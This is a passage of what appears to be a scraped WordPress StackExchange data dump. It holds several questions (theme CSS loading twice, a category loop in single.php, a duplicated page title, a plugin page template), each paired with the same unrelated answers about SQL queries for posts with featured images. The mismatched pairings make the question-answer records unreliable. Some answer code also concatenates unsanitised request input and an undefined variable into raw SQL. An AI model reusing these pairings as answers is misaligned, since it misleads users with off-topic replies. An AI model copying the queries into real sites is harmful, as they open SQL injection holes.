p.post_date,\n p.post_type,\n MAX(CASE WHEN pm.meta_key = '_thumbnail_id' then pm.meta_value ELSE NULL END) as thumbnail_id,\n term.name as category_name,\n term.slug as category_slug,\n term.term_id as category_id\n FROM \".$wpdb-&gt;prefix.\"posts as p \n LEFT JOIN \".$wpdb-&gt;prefix.\"postmeta as pm ON ( pm.post_id = p.ID)\n LEFT JOIN \".$wpdb-&gt;prefix.\"term_relationships as tr ON tr.object_id = p.ID\n LEFT JOIN \".$wpdb-&gt;prefix.\"terms as term ON tr.term_taxonomy_id = term.term_id\n WHERE 1 \".$where.\" AND p.post_status = 'publish'\n GROUP BY p.ID ORDER BY p.post_date DESC\n ) as post\n LEFT JOIN \".$wpdb-&gt;prefix.\"postmeta AS thumb \n ON thumb.meta_key = '_wp_attached_file' \n AND thumb.post_id = post.thumbnail_id\n LIMIT \".$counter.\",\".$perpage;\n\n$posts = $wpdb-&gt;get_results( $sql, ARRAY_A); \n</code></pre>\n\n<p><strong>Bonus</strong> : You will also get Category details with post details if you need. </p>\n\n<p><strong>P.S</strong> : You will need to change the query a bit to match your requirements and get desired fields. </p>\n" }, { "answer_id": 302493, "author": "Krishna Modi", "author_id": 142879, "author_profile": "https://wordpress.stackexchange.com/users/142879", "pm_score": 2, "selected": false, "text": "<p>This is much simpler solution without any use of complex joins,</p>\n\n<pre><code>SELECT wp_posts.id,\n wp_posts.post_title,\n wp_terms.name,\n (SELECT guid\n FROM wp_posts\n WHERE id = wp_postmeta.meta_value) AS image\nFROM wp_posts,\n wp_postmeta,\n wp_term_relationships,\n wp_terms\nWHERE wp_posts.id = wp_term_relationships.object_id\n AND wp_terms.term_id = wp_term_relationships.term_taxonomy_id\n AND wp_terms.name = 'mycat'\n AND wp_posts.post_status = \"publish\"\n AND wp_posts.post_type = \"post\"\n AND wp_postmeta.post_id = wp_posts.id\n AND wp_postmeta.meta_key = '_thumbnail_id'\nORDER BY wp_posts.post_date DESC\nLIMIT 5;\n</code></pre>\n\n<p>This query will give post id, post category, and featured image.\nYou can filter the category by changing wp_terms.name = 'mycat' with your category name.</p>\n" }, { "answer_id": 403193, "author": "Juvy Cagape", "author_id": 219745, "author_profile": "https://wordpress.stackexchange.com/users/219745", "pm_score": 1, "selected": false, "text": "<p>The accepted answer will ruin your life LOL... Here's the easy way..</p>\n<pre><code>global $wpdb;\n\n$uploadDir = wp_upload_dir();\n$uploadDir = $uploadDir['baseurl'];\n\n$page = (!empty($_REQUEST['p'])) ? $_REQUEST['p'] : 1;\n$_limit = 50;\n$_start = ($page &gt; 1) ? ($page * $_limit) : 0;\n\n$_stmts = &quot;\n SELECT \n p.ID, \n p.post_title,\n p.post_name,\n CONCAT( '&quot;.$uploadDir.&quot;', '/', thumb.meta_value) as thumbnail\n FROM {$wpdb-&gt;prefix}posts AS p\n \n LEFT JOIN {$wpdb-&gt;prefix}postmeta AS thumbnail_id\n ON thumbnail_id.post_id = p.ID AND thumbnail_id.meta_key = '_thumbnail_id'\n \n LEFT JOIN {$wpdb-&gt;prefix}postmeta AS thumb\n ON thumb.post_id = thumbnail_id.meta_value AND thumb.meta_key = '_wp_attached_file'\n \n \n WHERE p.post_status = 'publish'\n LIMIT {$_start},{$_limit}\n&quot;;\n\n$get_rs = $wpdb-&gt;get_results($_stmts);\n</code></pre>\n" } ]
2017/05/11
[ "https://wordpress.stackexchange.com/questions/266613", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/116818/" ]
A plugin creates a set of pages and a template. There must be some method to assign the template to one of the pages. I've attempted to adapt the method shown at filter reference [`template_include`](https://codex.wordpress.org/Plugin_API/Filter_Reference/template_include) without success. The page slug is `member-register`, the template file name is `member-content-template.php`. Some of the things that don't work include: * [`locate_template()`](https://developer.wordpress.org/reference/functions/locate_template/): I suspect that because the template was created by a plugin it is not found by a function that appears to only search themes. * [`is_page()`](https://developer.wordpress.org/reference/functions/is_page/): If given the argument of the page's title, slug or id returns false. ### Edit: As I have little experience with WordPress, I work in small increments to see what yields results. Attempts include such things as: ``` $template = locate_template(['member-content-template.php']); var_dump($template);die; ``` Which results in `string(0) ""` Or: ``` $is = is_page(3350); var_dump($is);die; ``` Which results in `bool(false)` The same is also true for `is_page('member-register')` and `is_page('Register')` If any of the above had yielded acceptable results I would have built a callback as suggested in the filter reference. ### Edit #2: Code snippets: rma.php (the plugin code) ``` $page_definitions = array( ... 'member-register' => array( 'title' => __('Register', 'rma-member-auth'), 'content' => '[custom_register_form]', 'class' => 'Rma\Pages\Register', 'function' => 'createRegisterForm', 'template' => 'Rma\Templates\member-content-template.php', ), ); ... $templater = new PageTemplater($templates); add_action('plugins_loaded', array('Rma\Templates\PageTemplater', 'get_instance')); $pages = new PageLoader(); $pages->pageCreator($page_definitions); $pages->shortcodeGenerator($page_definitions); ... ``` PageLoader: ``` ... public function pageCreator($page_definitions) { foreach ($page_definitions as $slug => $page) { // Check that the page doesn't exist already $query = new \WP_Query('pagename=' . $slug); if (!$query->have_posts()) { // Add the page using the data from the array above wp_insert_post( array( 'post_content' => $page['content'], 'post_name' => $slug, 'post_title' => $page['title'], 'post_status' => 'publish', 'post_type' => 'page', 'ping_status' => 'closed', 'comment_status' => 'closed', 'post_template' => $page['template'], ) ); } } } ```
Worked on similar problem recently. Here is the SQL query to get the post with Featured Image. ``` global $wpdb; $perpage = 10; $page = 1; // Get the current page FROM $wp_query $counter = $perpage * $page; $uploadDir = wp_upload_dir(); $uploadDir = $uploadDir['baseurl']; $sql = " SELECT post.ID, post.post_title, post.post_date, post.category_name, post.category_slug, post.category_id, CONCAT( '".$uploadDir."','/', thumb.meta_value) as thumbnail, post.post_type FROM ( SELECT p.ID, p.post_title, p.post_date, p.post_type, MAX(CASE WHEN pm.meta_key = '_thumbnail_id' then pm.meta_value ELSE NULL END) as thumbnail_id, term.name as category_name, term.slug as category_slug, term.term_id as category_id FROM ".$wpdb->prefix."posts as p LEFT JOIN ".$wpdb->prefix."postmeta as pm ON ( pm.post_id = p.ID) LEFT JOIN ".$wpdb->prefix."term_relationships as tr ON tr.object_id = p.ID LEFT JOIN ".$wpdb->prefix."terms as term ON tr.term_taxonomy_id = term.term_id WHERE 1 ".$where." AND p.post_status = 'publish' GROUP BY p.ID ORDER BY p.post_date DESC ) as post LEFT JOIN ".$wpdb->prefix."postmeta AS thumb ON thumb.meta_key = '_wp_attached_file' AND thumb.post_id = post.thumbnail_id LIMIT ".$counter.",".$perpage; $posts = $wpdb->get_results( $sql, ARRAY_A); ``` **Bonus** : You will also get Category details with post details if you need. **P.S** : You will need to change the query a bit to match your requirements and get desired fields.
266,650
<p>I'm new to WordPress, so I'm not really sure how it works, but I've been editing the theme by changing <code>wp-content/themes/&lt;theme_name&gt;/css/style.css</code>, then uploading this to the website via FTP. Here's the issue I'm having:</p> <p><a href="https://i.stack.imgur.com/VhqL9.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/VhqL9.png" alt=""></a> <br/></p> <p>From the Chrome Developer Tools, I can see that the <code>style.css</code> (the current file) is overwriting <code>style.css?ver=4.6.3</code>. This means that even though I removed the border from the current CSS, it's still being displayed from the old CSS version.</p> <p>Looking at the HTML source code for the page that WordPress generates, I found this in <code>&lt;head&gt;</code>:</p> <pre><code>&lt;link rel="stylesheet" id="twentysixteen-style-css" href="http://&lt;web.address&gt;/wp-content/themes/&lt;theme_name&gt;/style.css?ver=4.6.3" type="text/css" media="all"&gt; </code></pre> <p>And then I also found this:</p> <pre><code>&lt;link href="http://&lt;web.address&gt;/wp-content/themes/&lt;theme_name&gt;/css/style.css" rel="stylesheet" type="text/css"&gt; </code></pre> <p>What's going on? Why is WordPress loading an old version of <code>style.css</code>, and then the current one?</p>
[ { "answer_id": 266581, "author": "Vinod Dalvi", "author_id": 14347, "author_profile": "https://wordpress.stackexchange.com/users/14347", "pm_score": 2, "selected": false, "text": "<p>The post and featured image URL is saved in wp_posts table and its relation is saved in wp_postmeta table so in any case you have to query both these tables either directly in single Query or using WordPress function and query them separately.</p>\n\n<p>I don't think querying both tables in single Query will improve major performance but if you want to do it then you can use below custom code.</p>\n\n<pre><code> global $wpdb;\n $results = $wpdb-&gt;get_results( \"SELECT * FROM $wpdb-&gt;posts, $wpdb-&gt;postmeta where $wpdb-&gt;posts.ID = $wpdb-&gt;postmeta.post_id and $wpdb-&gt;postmeta.meta_key = '_thumbnail_id' and $wpdb-&gt;posts.post_type='post' limit 100\");\n\n if ( $results )\n {\n foreach ( $results as $post )\n { \n setup_postdata( $post );\n ?&gt;\n &lt;h2&gt;\n &lt;a href=\"&lt;?php the_permalink(); ?&gt;\" rel=\"bookmark\" title=\"Permalink: &lt;?php the_title(); ?&gt;\"&gt;\n &lt;?php the_title(); ?&gt;\n &lt;/a&gt;\n &lt;/h2&gt;\n &lt;?php\n if ( $post-&gt;meta_value ) { \n $image = image_downsize( $post-&gt;meta_value );\n ?&gt;\n &lt;img src=\"&lt;?php echo $image[0]; ?&gt;\" /&gt;\n &lt;?php\n }\n } \n }\n else\n {\n ?&gt;\n &lt;h2&gt;Not Found&lt;/h2&gt;\n &lt;?php\n } \n</code></pre>\n" }, { "answer_id": 266960, "author": "Waqas Ali Shah", "author_id": 119704, "author_profile": "https://wordpress.stackexchange.com/users/119704", "pm_score": 1, "selected": false, "text": "<p>You can manage the page load speed by using infinite scroll method. \nRetrieve only those post which are showing above the fold and on scroll you can query other posts this can help you load your page much more quickly.\nHere is a tutorial for this.</p>\n\n<p><a href=\"https://code.tutsplus.com/tutorials/how-to-create-infinite-scroll-pagination--wp-24873\" rel=\"nofollow noreferrer\">https://code.tutsplus.com/tutorials/how-to-create-infinite-scroll-pagination--wp-24873</a></p>\n\n<p>There are some plugins for infinite scroll for posts.</p>\n\n<p><a href=\"https://wordpress.org/plugins/wp-infinite-scrolling/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/wp-infinite-scrolling/</a></p>\n" }, { "answer_id": 267010, "author": "JItendra Rana", "author_id": 87433, "author_profile": "https://wordpress.stackexchange.com/users/87433", "pm_score": 3, "selected": true, "text": "<p>Worked on similar problem recently. Here is the SQL query to get the post with Featured Image. </p>\n\n<pre><code>global $wpdb;\n\n$perpage = 10; \n$page = 1; // Get the current page FROM $wp_query\n\n$counter = $perpage * $page;\n\n$uploadDir = wp_upload_dir();\n$uploadDir = $uploadDir['baseurl'];\n\n$sql = \"\nSELECT \n post.ID,\n post.post_title,\n post.post_date,\n post.category_name,\n post.category_slug,\n post.category_id,\n CONCAT( '\".$uploadDir.\"','/', thumb.meta_value) as thumbnail,\n post.post_type\nFROM (\n SELECT p.ID, \n p.post_title, \n p.post_date,\n p.post_type,\n MAX(CASE WHEN pm.meta_key = '_thumbnail_id' then pm.meta_value ELSE NULL END) as thumbnail_id,\n term.name as category_name,\n term.slug as category_slug,\n term.term_id as category_id\n FROM \".$wpdb-&gt;prefix.\"posts as p \n LEFT JOIN \".$wpdb-&gt;prefix.\"postmeta as pm ON ( pm.post_id = p.ID)\n LEFT JOIN \".$wpdb-&gt;prefix.\"term_relationships as tr ON tr.object_id = p.ID\n LEFT JOIN \".$wpdb-&gt;prefix.\"terms as term ON tr.term_taxonomy_id = term.term_id\n WHERE 1 \".$where.\" AND p.post_status = 'publish'\n GROUP BY p.ID ORDER BY p.post_date DESC\n ) as post\n LEFT JOIN \".$wpdb-&gt;prefix.\"postmeta AS thumb \n ON thumb.meta_key = '_wp_attached_file' \n AND thumb.post_id = post.thumbnail_id\n LIMIT \".$counter.\",\".$perpage;\n\n$posts = $wpdb-&gt;get_results( $sql, ARRAY_A); \n</code></pre>\n\n<p><strong>Bonus</strong> : You will also get Category details with post details if you need. </p>\n\n<p><strong>P.S</strong> : You will need to change the query a bit to match your requirements and get desired fields. </p>\n" }, { "answer_id": 302493, "author": "Krishna Modi", "author_id": 142879, "author_profile": "https://wordpress.stackexchange.com/users/142879", "pm_score": 2, "selected": false, "text": "<p>This is much simpler solution without any use of complex joins,</p>\n\n<pre><code>SELECT wp_posts.id,\n wp_posts.post_title,\n wp_terms.name,\n (SELECT guid\n FROM wp_posts\n WHERE id = wp_postmeta.meta_value) AS image\nFROM wp_posts,\n wp_postmeta,\n wp_term_relationships,\n wp_terms\nWHERE wp_posts.id = wp_term_relationships.object_id\n AND wp_terms.term_id = wp_term_relationships.term_taxonomy_id\n AND wp_terms.name = 'mycat'\n AND wp_posts.post_status = \"publish\"\n AND wp_posts.post_type = \"post\"\n AND wp_postmeta.post_id = wp_posts.id\n AND wp_postmeta.meta_key = '_thumbnail_id'\nORDER BY wp_posts.post_date DESC\nLIMIT 5;\n</code></pre>\n\n<p>This query will give post id, post category, and featured image.\nYou can filter the category by changing wp_terms.name = 'mycat' with your category name.</p>\n" }, { "answer_id": 403193, "author": "Juvy Cagape", "author_id": 219745, "author_profile": "https://wordpress.stackexchange.com/users/219745", "pm_score": 1, "selected": false, "text": "<p>The accepted answer will ruin your life LOL... Here's the easy way..</p>\n<pre><code>global $wpdb;\n\n$uploadDir = wp_upload_dir();\n$uploadDir = $uploadDir['baseurl'];\n\n$page = (!empty($_REQUEST['p'])) ? $_REQUEST['p'] : 1;\n$_limit = 50;\n$_start = ($page &gt; 1) ? ($page * $_limit) : 0;\n\n$_stmts = &quot;\n SELECT \n p.ID, \n p.post_title,\n p.post_name,\n CONCAT( '&quot;.$uploadDir.&quot;', '/', thumb.meta_value) as thumbnail\n FROM {$wpdb-&gt;prefix}posts AS p\n \n LEFT JOIN {$wpdb-&gt;prefix}postmeta AS thumbnail_id\n ON thumbnail_id.post_id = p.ID AND thumbnail_id.meta_key = '_thumbnail_id'\n \n LEFT JOIN {$wpdb-&gt;prefix}postmeta AS thumb\n ON thumb.post_id = thumbnail_id.meta_value AND thumb.meta_key = '_wp_attached_file'\n \n \n WHERE p.post_status = 'publish'\n LIMIT {$_start},{$_limit}\n&quot;;\n\n$get_rs = $wpdb-&gt;get_results($_stmts);\n</code></pre>\n" } ]
2017/05/11
[ "https://wordpress.stackexchange.com/questions/266650", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119504/" ]
I'm new to WordPress, so I'm not really sure how it works, but I've been editing the theme by changing `wp-content/themes/<theme_name>/css/style.css`, then uploading this to the website via FTP. Here's the issue I'm having: [![](https://i.stack.imgur.com/VhqL9.png)](https://i.stack.imgur.com/VhqL9.png) From the Chrome Developer Tools, I can see that the `style.css` (the current file) is overwriting `style.css?ver=4.6.3`. This means that even though I removed the border from the current CSS, it's still being displayed from the old CSS version. Looking at the HTML source code for the page that WordPress generates, I found this in `<head>`: ``` <link rel="stylesheet" id="twentysixteen-style-css" href="http://<web.address>/wp-content/themes/<theme_name>/style.css?ver=4.6.3" type="text/css" media="all"> ``` And then I also found this: ``` <link href="http://<web.address>/wp-content/themes/<theme_name>/css/style.css" rel="stylesheet" type="text/css"> ``` What's going on? Why is WordPress loading an old version of `style.css`, and then the current one?
Worked on similar problem recently. Here is the SQL query to get the post with Featured Image. ``` global $wpdb; $perpage = 10; $page = 1; // Get the current page FROM $wp_query $counter = $perpage * $page; $uploadDir = wp_upload_dir(); $uploadDir = $uploadDir['baseurl']; $sql = " SELECT post.ID, post.post_title, post.post_date, post.category_name, post.category_slug, post.category_id, CONCAT( '".$uploadDir."','/', thumb.meta_value) as thumbnail, post.post_type FROM ( SELECT p.ID, p.post_title, p.post_date, p.post_type, MAX(CASE WHEN pm.meta_key = '_thumbnail_id' then pm.meta_value ELSE NULL END) as thumbnail_id, term.name as category_name, term.slug as category_slug, term.term_id as category_id FROM ".$wpdb->prefix."posts as p LEFT JOIN ".$wpdb->prefix."postmeta as pm ON ( pm.post_id = p.ID) LEFT JOIN ".$wpdb->prefix."term_relationships as tr ON tr.object_id = p.ID LEFT JOIN ".$wpdb->prefix."terms as term ON tr.term_taxonomy_id = term.term_id WHERE 1 ".$where." AND p.post_status = 'publish' GROUP BY p.ID ORDER BY p.post_date DESC ) as post LEFT JOIN ".$wpdb->prefix."postmeta AS thumb ON thumb.meta_key = '_wp_attached_file' AND thumb.post_id = post.thumbnail_id LIMIT ".$counter.",".$perpage; $posts = $wpdb->get_results( $sql, ARRAY_A); ``` **Bonus** : You will also get Category details with post details if you need. **P.S** : You will need to change the query a bit to match your requirements and get desired fields.
266,661
<p>On my single.php i want to show the current post and underneath it i want to list all the posts in cat-2. In my loop i tried to query post with cat-2 but it still shows the current post.</p> <pre><code>&lt;?php global $query_string; $posts = query_posts($query_string.''); ?&gt; &lt;?php if (have_posts()): while (have_posts()) : the_post(); ?&gt; &lt;h4&gt;&lt;?php the_title(); ?&gt;&lt;/h4&gt; &lt;?php endif; ?&gt; &lt;?php the_content(); // Dynamic Content ?&gt; &lt;?php edit_post_link(); ?&gt; &lt;?php endwhile; ?&gt; &lt;?php else: ?&gt; &lt;h1&gt;&lt;?php _e( 'Sorry, nothing to display.', 'html5blank' ); ?&gt;&lt;/h1&gt; &lt;?php endif; ?&gt; &lt;?php rewind_posts(); ?&gt; &lt;hr&gt; &lt;?php global $query_string; // required $posts = query_posts($query_string.'&amp;cat=2,&amp;order=ASC'); ?&gt; &lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&gt; &lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;img title="&lt;?php the_title(); ?&gt;" alt="&lt;?php the_title(); ?&gt;" class="wp-post-image" src="&lt;?php the_post_thumbnail_url(); ?&gt; " style="width:100%; height:auto;"&gt;&lt;/a&gt; &lt;h4&gt;&lt;?php the_title(); ?&gt;&lt;/h4&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php endwhile; ?&gt; &lt;?php else : ?&gt; &lt;?php endif; ?&gt; &lt;?php wp_reset_query(); // reset the query ?&gt; </code></pre>
[ { "answer_id": 266581, "author": "Vinod Dalvi", "author_id": 14347, "author_profile": "https://wordpress.stackexchange.com/users/14347", "pm_score": 2, "selected": false, "text": "<p>The post and featured image URL is saved in wp_posts table and its relation is saved in wp_postmeta table so in any case you have to query both these tables either directly in single Query or using WordPress function and query them separately.</p>\n\n<p>I don't think querying both tables in single Query will improve major performance but if you want to do it then you can use below custom code.</p>\n\n<pre><code> global $wpdb;\n $results = $wpdb-&gt;get_results( \"SELECT * FROM $wpdb-&gt;posts, $wpdb-&gt;postmeta where $wpdb-&gt;posts.ID = $wpdb-&gt;postmeta.post_id and $wpdb-&gt;postmeta.meta_key = '_thumbnail_id' and $wpdb-&gt;posts.post_type='post' limit 100\");\n\n if ( $results )\n {\n foreach ( $results as $post )\n { \n setup_postdata( $post );\n ?&gt;\n &lt;h2&gt;\n &lt;a href=\"&lt;?php the_permalink(); ?&gt;\" rel=\"bookmark\" title=\"Permalink: &lt;?php the_title(); ?&gt;\"&gt;\n &lt;?php the_title(); ?&gt;\n &lt;/a&gt;\n &lt;/h2&gt;\n &lt;?php\n if ( $post-&gt;meta_value ) { \n $image = image_downsize( $post-&gt;meta_value );\n ?&gt;\n &lt;img src=\"&lt;?php echo $image[0]; ?&gt;\" /&gt;\n &lt;?php\n }\n } \n }\n else\n {\n ?&gt;\n &lt;h2&gt;Not Found&lt;/h2&gt;\n &lt;?php\n } \n</code></pre>\n" }, { "answer_id": 266960, "author": "Waqas Ali Shah", "author_id": 119704, "author_profile": "https://wordpress.stackexchange.com/users/119704", "pm_score": 1, "selected": false, "text": "<p>You can manage the page load speed by using infinite scroll method. \nRetrieve only those post which are showing above the fold and on scroll you can query other posts this can help you load your page much more quickly.\nHere is a tutorial for this.</p>\n\n<p><a href=\"https://code.tutsplus.com/tutorials/how-to-create-infinite-scroll-pagination--wp-24873\" rel=\"nofollow noreferrer\">https://code.tutsplus.com/tutorials/how-to-create-infinite-scroll-pagination--wp-24873</a></p>\n\n<p>There are some plugins for infinite scroll for posts.</p>\n\n<p><a href=\"https://wordpress.org/plugins/wp-infinite-scrolling/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/wp-infinite-scrolling/</a></p>\n" }, { "answer_id": 267010, "author": "JItendra Rana", "author_id": 87433, "author_profile": "https://wordpress.stackexchange.com/users/87433", "pm_score": 3, "selected": true, "text": "<p>Worked on similar problem recently. Here is the SQL query to get the post with Featured Image. </p>\n\n<pre><code>global $wpdb;\n\n$perpage = 10; \n$page = 1; // Get the current page FROM $wp_query\n\n$counter = $perpage * $page;\n\n$uploadDir = wp_upload_dir();\n$uploadDir = $uploadDir['baseurl'];\n\n$sql = \"\nSELECT \n post.ID,\n post.post_title,\n post.post_date,\n post.category_name,\n post.category_slug,\n post.category_id,\n CONCAT( '\".$uploadDir.\"','/', thumb.meta_value) as thumbnail,\n post.post_type\nFROM (\n SELECT p.ID, \n p.post_title, \n p.post_date,\n p.post_type,\n MAX(CASE WHEN pm.meta_key = '_thumbnail_id' then pm.meta_value ELSE NULL END) as thumbnail_id,\n term.name as category_name,\n term.slug as category_slug,\n term.term_id as category_id\n FROM \".$wpdb-&gt;prefix.\"posts as p \n LEFT JOIN \".$wpdb-&gt;prefix.\"postmeta as pm ON ( pm.post_id = p.ID)\n LEFT JOIN \".$wpdb-&gt;prefix.\"term_relationships as tr ON tr.object_id = p.ID\n LEFT JOIN \".$wpdb-&gt;prefix.\"terms as term ON tr.term_taxonomy_id = term.term_id\n WHERE 1 \".$where.\" AND p.post_status = 'publish'\n GROUP BY p.ID ORDER BY p.post_date DESC\n ) as post\n LEFT JOIN \".$wpdb-&gt;prefix.\"postmeta AS thumb \n ON thumb.meta_key = '_wp_attached_file' \n AND thumb.post_id = post.thumbnail_id\n LIMIT \".$counter.\",\".$perpage;\n\n$posts = $wpdb-&gt;get_results( $sql, ARRAY_A); \n</code></pre>\n\n<p><strong>Bonus</strong> : You will also get Category details with post details if you need. </p>\n\n<p><strong>P.S</strong> : You will need to change the query a bit to match your requirements and get desired fields. </p>\n" }, { "answer_id": 302493, "author": "Krishna Modi", "author_id": 142879, "author_profile": "https://wordpress.stackexchange.com/users/142879", "pm_score": 2, "selected": false, "text": "<p>This is much simpler solution without any use of complex joins,</p>\n\n<pre><code>SELECT wp_posts.id,\n wp_posts.post_title,\n wp_terms.name,\n (SELECT guid\n FROM wp_posts\n WHERE id = wp_postmeta.meta_value) AS image\nFROM wp_posts,\n wp_postmeta,\n wp_term_relationships,\n wp_terms\nWHERE wp_posts.id = wp_term_relationships.object_id\n AND wp_terms.term_id = wp_term_relationships.term_taxonomy_id\n AND wp_terms.name = 'mycat'\n AND wp_posts.post_status = \"publish\"\n AND wp_posts.post_type = \"post\"\n AND wp_postmeta.post_id = wp_posts.id\n AND wp_postmeta.meta_key = '_thumbnail_id'\nORDER BY wp_posts.post_date DESC\nLIMIT 5;\n</code></pre>\n\n<p>This query will give post id, post category, and featured image.\nYou can filter the category by changing wp_terms.name = 'mycat' with your category name.</p>\n" }, { "answer_id": 403193, "author": "Juvy Cagape", "author_id": 219745, "author_profile": "https://wordpress.stackexchange.com/users/219745", "pm_score": 1, "selected": false, "text": "<p>The accepted answer will ruin your life LOL... Here's the easy way..</p>\n<pre><code>global $wpdb;\n\n$uploadDir = wp_upload_dir();\n$uploadDir = $uploadDir['baseurl'];\n\n$page = (!empty($_REQUEST['p'])) ? $_REQUEST['p'] : 1;\n$_limit = 50;\n$_start = ($page &gt; 1) ? ($page * $_limit) : 0;\n\n$_stmts = &quot;\n SELECT \n p.ID, \n p.post_title,\n p.post_name,\n CONCAT( '&quot;.$uploadDir.&quot;', '/', thumb.meta_value) as thumbnail\n FROM {$wpdb-&gt;prefix}posts AS p\n \n LEFT JOIN {$wpdb-&gt;prefix}postmeta AS thumbnail_id\n ON thumbnail_id.post_id = p.ID AND thumbnail_id.meta_key = '_thumbnail_id'\n \n LEFT JOIN {$wpdb-&gt;prefix}postmeta AS thumb\n ON thumb.post_id = thumbnail_id.meta_value AND thumb.meta_key = '_wp_attached_file'\n \n \n WHERE p.post_status = 'publish'\n LIMIT {$_start},{$_limit}\n&quot;;\n\n$get_rs = $wpdb-&gt;get_results($_stmts);\n</code></pre>\n" } ]
2017/05/12
[ "https://wordpress.stackexchange.com/questions/266661", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/78173/" ]
On my single.php i want to show the current post and underneath it i want to list all the posts in cat-2. In my loop i tried to query post with cat-2 but it still shows the current post. ``` <?php global $query_string; $posts = query_posts($query_string.''); ?> <?php if (have_posts()): while (have_posts()) : the_post(); ?> <h4><?php the_title(); ?></h4> <?php endif; ?> <?php the_content(); // Dynamic Content ?> <?php edit_post_link(); ?> <?php endwhile; ?> <?php else: ?> <h1><?php _e( 'Sorry, nothing to display.', 'html5blank' ); ?></h1> <?php endif; ?> <?php rewind_posts(); ?> <hr> <?php global $query_string; // required $posts = query_posts($query_string.'&cat=2,&order=ASC'); ?> <?php if (have_posts()) : while (have_posts()) : the_post(); ?> <a href="<?php the_permalink(); ?>"><img title="<?php the_title(); ?>" alt="<?php the_title(); ?>" class="wp-post-image" src="<?php the_post_thumbnail_url(); ?> " style="width:100%; height:auto;"></a> <h4><?php the_title(); ?></h4> </div> </div> <?php endwhile; ?> <?php else : ?> <?php endif; ?> <?php wp_reset_query(); // reset the query ?> ```
Worked on similar problem recently. Here is the SQL query to get the post with Featured Image. ``` global $wpdb; $perpage = 10; $page = 1; // Get the current page FROM $wp_query $counter = $perpage * $page; $uploadDir = wp_upload_dir(); $uploadDir = $uploadDir['baseurl']; $sql = " SELECT post.ID, post.post_title, post.post_date, post.category_name, post.category_slug, post.category_id, CONCAT( '".$uploadDir."','/', thumb.meta_value) as thumbnail, post.post_type FROM ( SELECT p.ID, p.post_title, p.post_date, p.post_type, MAX(CASE WHEN pm.meta_key = '_thumbnail_id' then pm.meta_value ELSE NULL END) as thumbnail_id, term.name as category_name, term.slug as category_slug, term.term_id as category_id FROM ".$wpdb->prefix."posts as p LEFT JOIN ".$wpdb->prefix."postmeta as pm ON ( pm.post_id = p.ID) LEFT JOIN ".$wpdb->prefix."term_relationships as tr ON tr.object_id = p.ID LEFT JOIN ".$wpdb->prefix."terms as term ON tr.term_taxonomy_id = term.term_id WHERE 1 ".$where." AND p.post_status = 'publish' GROUP BY p.ID ORDER BY p.post_date DESC ) as post LEFT JOIN ".$wpdb->prefix."postmeta AS thumb ON thumb.meta_key = '_wp_attached_file' AND thumb.post_id = post.thumbnail_id LIMIT ".$counter.",".$perpage; $posts = $wpdb->get_results( $sql, ARRAY_A); ``` **Bonus** : You will also get Category details with post details if you need. **P.S** : You will need to change the query a bit to match your requirements and get desired fields.
266,684
<p>My post title appears twice on the browser title bar. Please see this as an example: <a href="https://www.notionbug.com/newly-found-planet-just-right-life/" rel="nofollow noreferrer">https://www.notionbug.com/newly-found-planet-just-right-life/</a></p> <p>I've tried deacivating plugins but didn't worked. I've also tried clearing the cache, still no success.</p>
[ { "answer_id": 266581, "author": "Vinod Dalvi", "author_id": 14347, "author_profile": "https://wordpress.stackexchange.com/users/14347", "pm_score": 2, "selected": false, "text": "<p>The post and featured image URL is saved in wp_posts table and its relation is saved in wp_postmeta table so in any case you have to query both these tables either directly in single Query or using WordPress function and query them separately.</p>\n\n<p>I don't think querying both tables in single Query will improve major performance but if you want to do it then you can use below custom code.</p>\n\n<pre><code> global $wpdb;\n $results = $wpdb-&gt;get_results( \"SELECT * FROM $wpdb-&gt;posts, $wpdb-&gt;postmeta where $wpdb-&gt;posts.ID = $wpdb-&gt;postmeta.post_id and $wpdb-&gt;postmeta.meta_key = '_thumbnail_id' and $wpdb-&gt;posts.post_type='post' limit 100\");\n\n if ( $results )\n {\n foreach ( $results as $post )\n { \n setup_postdata( $post );\n ?&gt;\n &lt;h2&gt;\n &lt;a href=\"&lt;?php the_permalink(); ?&gt;\" rel=\"bookmark\" title=\"Permalink: &lt;?php the_title(); ?&gt;\"&gt;\n &lt;?php the_title(); ?&gt;\n &lt;/a&gt;\n &lt;/h2&gt;\n &lt;?php\n if ( $post-&gt;meta_value ) { \n $image = image_downsize( $post-&gt;meta_value );\n ?&gt;\n &lt;img src=\"&lt;?php echo $image[0]; ?&gt;\" /&gt;\n &lt;?php\n }\n } \n }\n else\n {\n ?&gt;\n &lt;h2&gt;Not Found&lt;/h2&gt;\n &lt;?php\n } \n</code></pre>\n" }, { "answer_id": 266960, "author": "Waqas Ali Shah", "author_id": 119704, "author_profile": "https://wordpress.stackexchange.com/users/119704", "pm_score": 1, "selected": false, "text": "<p>You can manage the page load speed by using infinite scroll method. \nRetrieve only those post which are showing above the fold and on scroll you can query other posts this can help you load your page much more quickly.\nHere is a tutorial for this.</p>\n\n<p><a href=\"https://code.tutsplus.com/tutorials/how-to-create-infinite-scroll-pagination--wp-24873\" rel=\"nofollow noreferrer\">https://code.tutsplus.com/tutorials/how-to-create-infinite-scroll-pagination--wp-24873</a></p>\n\n<p>There are some plugins for infinite scroll for posts.</p>\n\n<p><a href=\"https://wordpress.org/plugins/wp-infinite-scrolling/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/wp-infinite-scrolling/</a></p>\n" }, { "answer_id": 267010, "author": "JItendra Rana", "author_id": 87433, "author_profile": "https://wordpress.stackexchange.com/users/87433", "pm_score": 3, "selected": true, "text": "<p>Worked on similar problem recently. Here is the SQL query to get the post with Featured Image. </p>\n\n<pre><code>global $wpdb;\n\n$perpage = 10; \n$page = 1; // Get the current page FROM $wp_query\n\n$counter = $perpage * $page;\n\n$uploadDir = wp_upload_dir();\n$uploadDir = $uploadDir['baseurl'];\n\n$sql = \"\nSELECT \n post.ID,\n post.post_title,\n post.post_date,\n post.category_name,\n post.category_slug,\n post.category_id,\n CONCAT( '\".$uploadDir.\"','/', thumb.meta_value) as thumbnail,\n post.post_type\nFROM (\n SELECT p.ID, \n p.post_title, \n p.post_date,\n p.post_type,\n MAX(CASE WHEN 